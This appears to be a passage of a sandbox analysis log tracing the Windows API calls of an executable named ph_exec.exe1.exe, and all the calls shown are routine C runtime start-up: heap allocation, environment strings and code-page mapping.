# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 15 2019 18:28:42 # Log Creation Date: 16.05.2019 08:39:07.271 Process: id = "1" image_name = "ph_exec.exe1.exe" filename = "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe" page_root = "0x107c5000" os_pid = "0xa9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xce0 [0035.576] GetStartupInfoW (in: lpStartupInfo=0x73f7f0 | out: lpStartupInfo=0x73f7f0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0035.576] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0035.576] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x80000 [0035.583] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0035.583] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0035.583] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0035.583] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0035.583] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0035.584] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x214) returned 0x805a8 [0035.584] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0035.584] GetCurrentThreadId () returned 0xce0 [0035.584] GetStartupInfoW (in: lpStartupInfo=0x73f78c | out: lpStartupInfo=0x73f78c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0035.584] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x800) returned 0x807c8 [0035.584] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0035.584] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0035.584] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0035.584] SetHandleCount (uNumber=0x20) returned 0x20 [0035.584] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe\" " [0035.584] GetEnvironmentStringsW () returned 0xff928* [0035.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0035.584] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x565) returned 0x80fd0 [0035.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x80fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0035.584] FreeEnvironmentStringsW (penv=0xff928) returned 1 [0035.584] GetLastError () returned 0xcb [0035.584] SetLastError (dwErrCode=0xcb) [0035.585] GetLastError () returned 0xcb [0035.585] SetLastError (dwErrCode=0xcb) [0035.585] GetLastError () returned 0xcb [0035.585] SetLastError (dwErrCode=0xcb) [0035.585] GetACP () returned 0x4e4 [0035.585] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x220) returned 0x81540 [0035.585] GetLastError () returned 0xcb [0035.585] SetLastError (dwErrCode=0xcb) [0035.585] IsValidCodePage (CodePage=0x4e4) returned 1 [0035.585] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x73f754 | out: lpCPInfo=0x73f754) returned 1 [0035.585] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x73f220 | out: lpCPInfo=0x73f220) returned 1 [0035.585] GetLastError () returned 0xcb [0035.585] SetLastError (dwErrCode=0xcb) [0035.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x73f634, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0035.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x73f634, cbMultiByte=256, lpWideCharStr=0x73ef98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0035.585] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x73f234 | out: lpCharType=0x73f234) returned 1 [0035.585] GetLastError () returned 0xcb [0035.585] SetLastError (dwErrCode=0xcb) [0035.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x73f634, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0035.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x73f634, cbMultiByte=256, lpWideCharStr=0x73ef68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ│骫ĈĀ") returned 256 [0035.585] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ│骫ĈĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0035.585] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ│骫ĈĀ", cchSrc=256, lpDestStr=0x73ed58, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0035.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x73f534, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x18\xed\xe5\x64\x6c\xf7\x73", lpUsedDefaultChar=0x0) returned 256 [0035.585] GetLastError () returned 0xcb [0035.585] SetLastError (dwErrCode=0xcb) [0035.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x73f634, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0035.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x73f634, cbMultiByte=256, lpWideCharStr=0x73ef88, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ│骫ĈĀ") returned 256 [0035.585] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ│骫ĈĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0035.585] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ│骫ĈĀ", cchSrc=256, lpDestStr=0x73ed78, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0035.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x73f434, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x18\xed\xe5\x64\x6c\xf7\x73", lpUsedDefaultChar=0x0) returned 256 [0035.586] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x108f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.586] SetLastError (dwErrCode=0x0) [0035.586] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.587] SetLastError (dwErrCode=0x0) [0035.587] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () 